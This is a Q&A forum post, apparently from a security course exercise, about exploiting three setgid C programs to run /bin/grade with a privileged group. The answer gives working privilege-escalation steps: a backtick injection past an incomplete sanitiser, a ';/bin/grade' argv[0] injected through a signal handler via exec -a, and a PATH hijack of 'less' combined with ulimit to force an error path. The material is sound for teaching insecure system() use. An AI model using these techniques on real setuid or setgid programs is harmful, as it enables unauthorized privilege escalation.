How can I use the set-guid bit vulnerability to execute a file /bin/grade
which is owned by root
using the following 3 vulnerable programs? I am not root nor part of the bsp* groups so my access to the programs is limited to read & execute only. For the file /bin/grade
, I only have read access, but I want to execute it as group bsp*.
-rwxr-sr-x 1 root bsp3 9673 Sep 25 2012 prog2 -rwxr-sr-x 1 root bsp4 10724 Sep 25 2012 prog3 -rwxr-sr-x 1 root bsp5 9557 Sep 25 2012 prog4
The 3 programs are binaries which contain the following C code:
//prog2:
int main(int argc, char **argv) { /* set up command buffer */ char cmdbuf[128] = "export IFS=' tn'; /usr/bin/file "; char *input = cmdbuf + strlen(cmdbuf); int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1); gid_t egid = getegid(); setregid(egid, egid); /* read input -- use safe function to prevent buffer overrun */ fprintf(stdout, "Please enter a filename: "); fgets(input, len, stdin); /* sanitize input -- replace unsafe shell characters */ for (; *input != ''; ++input) { switch (*input) { case '|': case '&': case '<': case '>': case '!': case '$': case ';': *input = ' '; break; } } /* execute command */ system(cmdbuf); return 0; }
//prog3:
char cmdbuf[128] = "echo interrupt signal caught, terminating "; char *progname; /* * Handle a ^C keyboard interrupt in case the program is running * too long and the user terminates. */ void handle_signal(int sig) { int len = sizeof(cmdbuf) - (strlen(cmdbuf) + 1); if (strlen(progname) > len) progname[len] = ''; strcat(cmdbuf, progname); system(cmdbuf); exit(1); } void usage() { printf("%s <n> where 0 < n <= 5.000n", progname); exit(1); } /* * The program takes one argument line parameter n (which has to be a * positive integer input parameter) and then prints out the first n * prime numbers. */ int main(int argc, char **argv) { struct sigaction sa; int cnt, N, found; unsigned long candidate, divisor; gid_t egid = getegid(); setregid(egid, egid); /* set up signal handling */ memset(&sa, sizeof(struct sigaction), 0); sa.sa_handler = handle_signal; sigaction(SIGINT, &sa, NULL); /* process argument */ progname = argv[0]; if (argc != 2) usage(); N = strtol(argv[1], NULL, 10); if ((N <= 0) || (N > 5000)) usage(); /* calculate prime numbers -- simple sieve */ candidate = 1; for (cnt = 0; cnt < N; ++cnt) { for (;;) { found = 1; divisor = 2; candidate += 1; while (divisor <= candidate/2) { if ((candidate % divisor) == 0) { found = 0; break; } else ++divisor; } if (found) break; } printf("%ldn", candidate); } return 0; }
//prog4:
int main(int argc, char **argv) { FILE *file = fopen("/etc/passwd","r"); if (file==NULL) { printf("Oh no, first open failed!n"); system("less /usr/local/share/error.txt"); /* Mayday mayday! Bailing out */ exit(1); } FILE *file2 = fopen("/etc/passwd","r"); if (file2==NULL) { fclose(file); printf("Oh no, second open failed!n"); system("less /usr/local/share/error.txt"); /* Mayday mayday! Bailing out */ exit(1); } FILE *file3 = fopen("/etc/passwd","r"); if (file3==NULL) { fclose(file); fclose(file2); printf("Oh no, third open failed!n"); system("less /usr/local/share/error.txt"); /* Mayday mayday! Bailing out */ exit(1); } FILE *file4 = fopen("/etc/passwd","r"); if (file4==NULL) { fclose(file); fclose(file2); fclose(file3); printf("Oh no, fourth open failed!n"); system("less /usr/local/share/error.txt"); /* Mayday mayday! Bailing out */ exit(1); } /* Imagine we are doing something very important and useful here... */ printf("I managed to successfully open the /etc/passwd file 4 times! I am the king yeahaaaa!nn"); printf("Never think you've seen the last of anything. Eudora Weltynn"); return 0; }
Advertisement
Answer
This problem can be solved by exploiting shell injection vulnerabilities.
For prog2:
$ /usr/local/bin/prog2
When prompted, enter /bin/grade
as the file name within the special character ` which the sanitiser forgot to address.
For prog3:
$ exec -a “;/bin/grade” /usr/local/bin/prog3 5000
But you have to hit Ctrl+C
quickly so that the interrupt signal function is called.
For prog4:
$ cd ~/ $ export PATH=/path/to/your/home:$PATH //prepend the path to your current/home directory so that the system looks there for `less` $ ln -s -f /bin/grade less $ ulimit -n 6 $ /usr/local/bin/prog4